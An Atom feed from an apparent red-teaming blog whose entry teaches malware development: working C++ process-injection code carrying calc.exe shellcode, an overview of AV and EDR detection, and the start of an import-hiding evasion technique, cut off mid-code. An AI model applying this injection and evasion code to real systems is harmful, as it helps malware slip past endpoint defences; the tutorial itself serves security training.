<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://wsummerhill.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://wsummerhill.github.io/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2025-10-30T15:22:04+00:00</updated><id>https://wsummerhill.github.io/feed.xml</id><title type="html">Will Summerhill</title><subtitle>Red Teaming &amp; Pentesting</subtitle><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><entry><title type="html">Malware Development Introduction aka Malware Dev 101 - Part 2</title><link href="https://wsummerhill.github.io/redteam/2024/11/26/Malware-Development-Introduction-Part2.html" rel="alternate" type="text/html" title="Malware Development Introduction aka Malware Dev 101 - Part 2" /><published>2024-11-26T00:00:00+00:00</published><updated>2024-11-26T00:00:00+00:00</updated><id>https://wsummerhill.github.io/redteam/2024/11/26/Malware-Development-Introduction-Part2</id><content type="html" xml:base="https://wsummerhill.github.io/redteam/2024/11/26/Malware-Development-Introduction-Part2.html"><![CDATA[<h2 id="malware-development-introduction-aka-malware-dev-101-part-2---evasion-basics">Malware Development Introduction (aka Malware Dev 101), Part 2 - Evasion Basics</h2>

<p>For Part 1 of this series please see the following link:<br /></p>

<p><strong><a href="https://wsummerhill.github.io/redteam/2024/02/06/Malware-Development-Introduction-Part1.html">Malware Development Introduction - Part 1</a></strong></p>

<p>Part 2 of this series is meant to discuss process injection, Antivirus (AV) &amp; Endpoint Detection and Response (EDR) solutions, and then dive into the fundamentals behind evasion in malware development. We’ll cover a few simple evasion techniques to help get you started in bypassing AV!</p>

<h2 id="part-2-contents">Part 2 Contents</h2>

<ul>
  <li><a href="#process-injection">Process Injection</a></li>
  <li><a href="#av--edr">AV &amp; EDR</a></li>
  <li><a href="#evasion-basics">Evasion Basics</a></li>
  <li><a href="#recommended-resources">Recommended Resources</a></li>
</ul>

<hr />
<h2 id="process-injection">Process Injection</h2>

<p>In the previous <a href="https://wsummerhill.github.io/redteam/2024/02/06/Malware-Development-Introduction-Part1.html">Part 1</a> post, we used the Win32 API <code class="language-plaintext highlighter-rouge">CreateThread</code> to transfer execution of the current running process to launch our shellcode. Then we wait until the shellcode finishes running using the <code class="language-plaintext highlighter-rouge">WaitForSingleObject</code> API. This method resides solely within the process that is calling our shellcode. For example, if we double-click our payload named <code class="language-plaintext highlighter-rouge">csharp_payload.exe</code> from Part 1 which simply runs <code class="language-plaintext highlighter-rouge">calc.exe</code> shellcode, the shellcode will be launched from the current process, <code class="language-plaintext highlighter-rouge">csharp_payload.exe</code>.</p>

<p>However, there are instances where we may want to “inject” shellcode into another process, either by identifying a process to inject into or creating a new process to target. This could be useful for lateral movement, persistence, or changing context of the process we’re running in to target another user session. This technique is called <a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a>.</p>

<p>The Win32 APIs required for shellcode injection are only slightly different than we saw previously for executing shellcode in the current process by using <code class="language-plaintext highlighter-rouge">CreateThread</code>. The main Windows API functions we need to perform process injection are as follows:</p>
<ol>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex"><strong>VirtualAllocEx</strong></a>: This is our initial function used to allocate space in memory of a target process where we are going to place our shellcode and should be equivalent to the size of the shellcode.</li>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory"><strong>WriteProcessMemory</strong></a>: This function is used to copy memory from one source (our shellcode) to a target destination, specifically the remote process we just allocated space to with <strong>VirtualAllocEx</strong>.</li>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex"><strong>VirtualProtectEx</strong></a>: This function is used to change the protections on a region of memory of a remote specificed process, and in our case to make the shellcode region Executable.</li>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread"><strong>CreateRemoteThread</strong></a>: Lastly, this function is used to create a thread in a remote address space of a target process where our shellcode resides.</li>
</ol>

<h3 id="c-shellcode-injection-payload">C++ Shellcode Injection Payload</h3>

<p>Using the above mentioned Windows APIs, we can create our C++ payload to perform shellcode injection (compiled with Visual Studio):</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="c1">// Calc.exe shellcode</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
  <span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span>
  <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span>
  <span class="mh">0x61</span><span class="p">,</span><span class="mh">0x7c</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0xed</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span>
  <span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span>
  <span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xe3</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span>
  <span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x38</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x39</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span>
  <span class="mh">0x66</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span>
  <span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span>
  <span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x5d</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8d</span><span class="p">,</span><span class="mh">0x8d</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span>
  <span class="mh">0x87</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0xbb</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x1d</span><span class="p">,</span><span class="mh">0x2a</span><span class="p">,</span><span class="mh">0x0a</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">,</span><span class="mh">0x95</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x9d</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x06</span><span class="p">,</span><span class="mh">0x7c</span><span class="p">,</span><span class="mh">0x0a</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span>
  <span class="mh">0xfb</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0x05</span><span class="p">,</span><span class="mh">0xbb</span><span class="p">,</span><span class="mh">0x47</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x6a</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x00</span>
<span class="p">};</span>

<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">shellcode_len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">exec_buffer</span><span class="p">;</span> <span class="c1">// memory buffer for shellcode</span>
    <span class="n">BOOL</span> <span class="n">rv</span><span class="p">;</span>
    <span class="n">HANDLE</span> <span class="n">th</span><span class="p">,</span> <span class="n">proc</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">oldprotect</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Please enter a process ID (PID) to target."</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Get target process ID (PID) from command-line arg</span>
    <span class="n">DWORD</span> <span class="n">PID</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"PID = %i"</span><span class="p">,</span> <span class="n">PID</span><span class="p">);</span>

    <span class="c1">// Open handle to target process</span>
    <span class="n">proc</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">PID</span><span class="p">);</span>
    
    <span class="c1">// Allocate buffer for shellcode in remote process</span>
    <span class="n">exec_buffer</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">shellcode_len</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"[i] Allocated Memory At : 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">exec_buffer</span><span class="p">);</span>

    <span class="c1">// Copy shellcode to remote process buffer</span>
    <span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="n">exec_buffer</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcode_len</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

    <span class="c1">// Make the remote buffer executable</span>
    <span class="n">rv</span> <span class="o">=</span> <span class="n">VirtualProtectEx</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="n">exec_buffer</span><span class="p">,</span> <span class="n">shellcode_len</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READ</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">oldprotect</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">rv</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Run the payload from the remote thread</span>
        <span class="n">th</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">exec_buffer</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span>
    <span class="p">}</span>
    
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Once our program is compiled, we can open up an app such as Notepad to inject our shellcode into. I’m using <a href="https://processhacker.sourceforge.io/">Process Hacker</a> to analyze processes running on my system, but there are other similar apps you could also use. In the below screenshot we can see Notepad is running under PID <strong>9992</strong> on my system.</p>

<p><img src="/assets/images/maldev101/shellcodeinject-notepad.png" alt="shellcodeinject-notepad" width="450" height="475" /></p>

<p>Our C++ program expects the PID as an input argument that we are injecting shellcode into, which gets assigned to the <code class="language-plaintext highlighter-rouge">DWORD PID</code> variable. The program then attempts to open the target process using the <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess"><code class="language-plaintext highlighter-rouge">OpenProcess</code></a> function which expects the target PID as the last argument. Once we opened the process, we can use our 4 Win32 API functions above to do the following steps:</p>

<ol>
  <li>Allocate space in memory of the new process</li>
  <li>Write shellcode to the allocated memory</li>
  <li>Change the protection region to Executable</li>
  <li>Then start a thread in the remote process where our shellcode is stored.
    <ul>
      <li>Lastly, we call <a href="https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle">CloseHandle</a> to close the opened Notepad process handle.</li>
    </ul>
  </li>
</ol>

<p>Let’s execute the program to inject shellcode into Notepad. Upon execution, we instantly see the <code class="language-plaintext highlighter-rouge">calc.exe</code> binary pop up since our shellcode was successfully executed within the Notepad process.</p>

<p><img src="/assets/images/maldev101/shellcodeinject.png" alt="shellcodeinject" width="800" height="300" /></p>

<p>From the program output above, we see that the allocated shellcode gets stored at the memory address <code class="language-plaintext highlighter-rouge">0x00002B124980000</code>. If we open up Process Hacker again and double-click the Notepad process (<strong>PID = 9992</strong> in my environment), we can browse to <strong>Memory</strong> tab, sort by <em>Protection</em>, and find our allocated shellcode within the <strong>RX</strong> (<em>Readable-eXecutable</em>) memory region with the base address from our programm output (<code class="language-plaintext highlighter-rouge">0x00002B124980000</code>). <br />
Note that the memory region we allocated is set to <strong>RX</strong> and not <strong>RWX</strong> since we last changed the protection region to <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READ</code> (<strong>RX</strong>) using <code class="language-plaintext highlighter-rouge">VirtualProtectEx</code>. If we double-click on this memory region in Process Hacker, we should see the allocated shellcode bytes stored in memory, confirming the shellcode injection worked!</p>

<p><img src="/assets/images/maldev101/shellcodeinjected-notepad.png" alt="shellcodeinjected-notepad" width="800" height="550" /><br /></p>

<p>There are TONS of other methods of shellcode/process injection which we’re not going to cover now, but this is just meant to be a primer on how a basic process injection payload works in C++.</p>

<hr />
<h2 id="av--edr">AV &amp; EDR</h2>

<p>Now that we understand some basic malware development from <a href="https://wsummerhill.github.io/redteam/2024/02/06/Malware-Development-Introduction-Part1.html">Part 1</a> and the above <a href="#process-injection">Process Injection</a> section, we need to discuss AV &amp; EDR solutions. A basic payload like the one above is always going to be blocked by AV or EDR due to the simple detections and signatures within the small piece of malware. To understand how to bypass these solutions in our malware, it can help to have a better understanding of how these solutions operate and what they detect.<br /></p>

<p>See some basic definitions of each below:<br /></p>

<ul>
  <li><strong>Antivirus (AV)</strong> : These solutions identify malicious code using a combination of signature-based and heuristic-based detections. Signature detections use a known component of malware such as file hashes, hard-coded strings, API functions, IPs/URLs, etc. Heuristic detections detect on activity or function of the malware while executing to identify bad behaviour.
    <ul>
      <li>Product examples include <a href="https://www.microsoft.com/en-us/microsoft-365/microsoft-defender-for-individuals">Microsoft Defender</a>, <a href="https://www.avg.com/">AVG</a>, and <a href="https://usa.kaspersky.com/antivirus">Kaspersky</a>.</li>
    </ul>
  </li>
  <li><strong>Endpoint Detection and Response (EDR)</strong>: These solutions are considered “next-gen” antivirus solutions which are much better at recognizing malicious activity and initiate responses. EDRs have much more heuristic and behaviour-based detections, machine learning, can be used for a more in-depth analysis of processes and detections, or can be used for performing threat hunting. EDRs also perform <a href="https://github.com/Mr-Un1k0d3r/EDRs">API hooking</a> which can be used to monitor processes for making suspicious API calls (along with many other security prevention techniques).
    <ul>
      <li>Product examples include <a href="https://www.microsoft.com/en-us/security/business/endpoint-security/microsoft-defender-endpoint">Microsoft Defender for Endpoint (MDE)</a>, <a href="https://www.crowdstrike.com/products/endpoint-security/">CrowdStrike Falcon</a>, and <a href="https://www.sentinelone.com/surfaces/endpoint/">SentinelOne</a>.</li>
    </ul>
  </li>
</ul>

<hr />
<h2 id="evasion-basics">Evasion Basics</h2>

<p>To bypass an AV or EDR solution, we’ll need to learn some evasion basics used to modify our code and execution techniques. We’re not going to focus on a specific solution or product but instead discuss common evasion techniques and present code samples that could be used together or in combination for bypassing endpoint security solutions. Note that this is not an overly comprehensive list, but a list of the basics you should learn when implementing evasion into payloads.</p>

<h3 id="hiding-api-function-imports">Hiding API Function Imports</h3>

<p>Within our standard C++ paylod previously demonstrated, any API functions used will be created within the Import Address Table (IAT). We can identify the API calls ourself by using Process Hacker or the newer <a href="https://systeminformer.sourceforge.io/">System Informer</a>. Open System Informer and separately execute a payload at the same time. In System Informer, double-click the EXE running your malware (<code class="language-plaintext highlighter-rouge">rundll32.exe</code> in my example) and open the <em>Modules</em> tab. Find and click on the DLL name (i.e. <code class="language-plaintext highlighter-rouge">CPP-DLL-Testing.dll</code>). On the left side of the pop up, click <em>Imports</em> and scroll to see the loaded Win32 API functions such as <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, <code class="language-plaintext highlighter-rouge">VirtualProtect</code>, and <code class="language-plaintext highlighter-rouge">WaitForSingleObject</code>.</p>

<p><img src="/assets/images/maldev101/imports-in-dll.png" alt="imports-in-dll" width="800" height="350" /></p>

<p>These API functions can be a predictable series of APIs known to AV and EDR solutions. In order to hide these function calls withn our IAT, we first need to familiarize ourselves with 2 APIs: <a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress">LoadLibrary</a> and <a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea">GetProcAddress</a>. <strong>LoadLibrary</strong> will load a specific module in memory (i.e. a DLL) and return a handle to that module. <strong>GetProcAddress</strong> will return the address of an exported function within a provided library (DLL).</p>

<p>We also need to know the API definition syntax for each function which we can find on the Microsoft Win32 API documentation. An example of the <code class="language-plaintext highlighter-rouge">VirtualProtect</code> API definition is found at <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">this link</a> which tells us the API syntax and that its within <code class="language-plaintext highlighter-rouge">kernel32.dll</code> near the bottom of the page.</p>

<p><img src="/assets/images/maldev101/virtualprotect.png" alt="VirutalProtect syntax" width="500" /></p>

<p>We can create definitions and use these functions in the below C++ code sample to identify addresses in memory of our required function calls (<code class="language-plaintext highlighter-rouge">VirtualAlloc, CreateThread, etc.</code>) using <code class="language-plaintext highlighter-rouge">LoadLibrary</code> and <code class="language-plaintext highlighter-rouge">GetProcAddress</code> which will “clean” our Import Address Table.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// First create function definitions of each used function using Win32 API documentation</span>
<span class="k">typedef</span> <span class="nf">LPVOID</span> <span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span> <span class="n">pVirtualAlloc</span><span class="p">)(</span><span class="n">LPVOID</span> <span class="n">lpAddress</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">dwSize</span><span class="p">,</span> <span class="n">DWORD</span>  <span class="n">flAllocationType</span><span class="p">,</span> <span class="n">DWORD</span>  <span class="n">flProtect</span><span class="p">);</span>
<span class="k">typedef</span> <span class="nf">BOOL</span> <span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span> <span class="n">pVirtualProtect</span><span class="p">)(</span><span class="n">LPVOID</span> <span class="n">lpAddress</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">dwSize</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">flNewProtect</span><span class="p">,</span> <span class="n">PDWORD</span> <span class="n">lpflOldProtect</span><span class="p">);</span>
<span class="k">typedef</span> <span class="nf">HANDLE</span> <span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span> <span class="n">pCreateThread</span><span class="p">)(</span><span class="n">LPSECURITY_ATTRIBUTES</span> <span class="n">lpThreadAttributes</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">dwStackSize</span><span class="p">,</span> <span class="n">LPTHREAD_START_ROUTINE</span>  <span class="n">lpStartAddress</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpParameter</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">dwCreationFlags</span><span class="p">,</span> <span class="n">LPDWORD</span> <span class="n">lpThreadId</span><span class="p">);</span>
